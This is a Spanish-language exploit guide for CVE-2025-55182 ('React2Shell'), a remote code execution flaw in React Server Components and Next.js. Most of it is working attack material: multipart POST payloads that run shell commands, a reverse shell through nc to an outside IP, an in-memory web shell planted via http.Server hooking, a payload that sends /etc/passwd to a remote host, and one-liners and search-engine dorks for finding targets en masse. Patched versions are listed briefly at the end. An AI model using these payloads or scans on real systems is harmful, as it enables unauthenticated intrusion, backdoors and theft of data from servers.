Vulnerabilidad React2Shell - CVE-2025-55182 📓

Introducción

Esta vulnerabilidad, conocida como React2Shell, fue descubierta en diciembre de 2025 y afecta a componentes de next.js con una CVSS 10.0. Con una simple solicitud POST, es posible obtener un RCE crítico sin autenticación. A continuación se muestran las versiones afectadas por esta vulnerabilidad.

Versiones afectadas -> 19.0, 19.1.0, 19.1.1, 19.2.0

La vulnerabilidad afecta a los componentes
- react-server-dom-webpack
- react-server-dom-parcel
- react-server-dom-turbopack

POC ⚠️

CVE-2025-55182 es fundamentalmente una vulnerabilidad de deserialización insegura en la forma en que los componentes del servidor React manejan los payloads entrantes del protocolo Flight. La vulnerabilidad existe en la función requireModule dentro del paquete react-server-dom-webpack. Ejemplo;

function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 ...  
 return moduleExports[metadata[2]];  // Vunl 
}

A continuación se muestra un ejemplo de un payload para este exploit.

Acceder a process.mainModule (el módulo principal que se está ejecutando)
Usar su método require para cargar el módulo child_process
Llamar a execSync para ejecutar un comando del sistema operativo
Ejecutar el comando ID.

{  
 "then": "$1:__proto__:then",  
 "status": "resolved_model",  
 "reason": -1,  
 "value": "{\\"then\\":\\"$B9999\\"}",  
 "_response": {  
   "_prefix": "process.mainModule.require('child_process').execSync('id');",  
   "_chunks": "$Q2",  
   "_formData": {  
     "get": "$1:constructor:constructor"  
   }  
 }  
}

Ahora intentemos reproducir este payload.

Payload con reverse shell.

"_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 1.1.1.1 4444 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",

Lista de Payloads 🔥

Aquí hay una lista de payloads que se pueden usar para explorar la aplicación.

Payload 1

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 578

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('id');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Payload 2 - Shell de Memoria en Tiempo de Ejecución

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 1176

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Payload 3

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Payload 4 - Salida en el Encabezado de Respuesta

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 689

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Payload 5 - Interacción DNS / Fuera de Banda

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 689

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('http').get('http://10.0.9.224:8000/');",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Payload 6 - Exfiltrar passwd mediante POST

POST / HTTP/1.1
Host: 10.10.0.5:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 646

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('http').request({hostname:'10.0.9.224',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('/etc/passwd'));","_chunks": "$Q2","_formData":{"get":"$1:constructor:constructor"}
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Oneliners ⚠️

Encontrar aplicaciones Next.js

cat alive.txt | httpx -silent -match-string "/_next/" -match-string "__NEXT_DATA__" | anew nextjs_targets.txt

Verificar si se acepta el encabezado Next-Action

curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com -H "Next-Action: test" -H "Content-Type: text/plain" --data '0'

Encontrar vulnerabilidad usando payload.

Crear archivo trigger.txt.

echo '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B0\"}","_response":{"_prefix":"7*7","_formData":{"get":"$1:constructor:constructor"}}}' > payload.json && echo '"$@0"' > trigger.txt

Encontrar el resultado "7*7" usando el archivo trigger.txt.

curl -X POST https://target.com -H "Next-Action: check" -F "[email protected]" -F "[email protected]" --max-time 5 -v 2>&1 | grep -iE "(49|error|stack|trace)"

Probando URL.

subfinder -d target.com -silent | httpx -silent -match-string "/_next/" | tee nextjs.txt | xargs -I@ -P10 sh -c 'R=$(curl -s -w "\n%{http_code}" -X POST @ -H "Next-Action: x" --data "test" 2>/dev/null | tail -1); [ "$R" = "200" ] || [ "$R" = "400" ] && echo "[!] REACT2SHELL CANDIDATE: @"' | anew vuln_candidates.txt

Encontrando servidores

Shodan

http.component:"next.js,react"
https://www.shodan.io/search?query=http.component%3A%22next.js%2Creact%22

FOFA

app="NEXT.JS" || app="React.js"
https://en.fofa.info/result?qbase64=YXBwPSJORVhULkpTIiB8fCBhcHA9IlJlYWN0LmpzIg%3D%3D

ZoomEye

http.body="react.production.min.js" || http.body="React.createElement(" || app="React Router"  || app="React.js"
https://www.zoomeye.ai/searchResult?q=aHR0cC5ib2R5PSJyZWFjdC5wcm9kdWN0aW9uLm1pbi5qcyIgfHwgaHR0cC5ib2R5PSJSZWFjdC5jcmVhdGVFbGVtZW50KCIgfHwgYXBwPSJSZWFjdCBSb3V0ZXIiIHx8IGFwcD0iUmVhY3QuanMi&utm_source=x&utm_medium=x&utm_campaign=x_React_25120401

Plantilla de Nuclei

https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-55182.yaml

Versión parcheada ✅

Corrija su aplicación para las siguientes versiones;

React-server-dom-* - 19.0.1, 19.1.2 y 19.2.1
Next.js con App Router - 14.x estable, 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

Cualquier framework o biblioteca que incluya la implementación de react-server probablemente esté afectado. Esto incluye, pero no se limita a:

* Next.js
* Vite RSC plugin
* Parcel RSC plugin
* React Router RSC preview
* RedwoodSDK
* Waku

CVE-2025-55182

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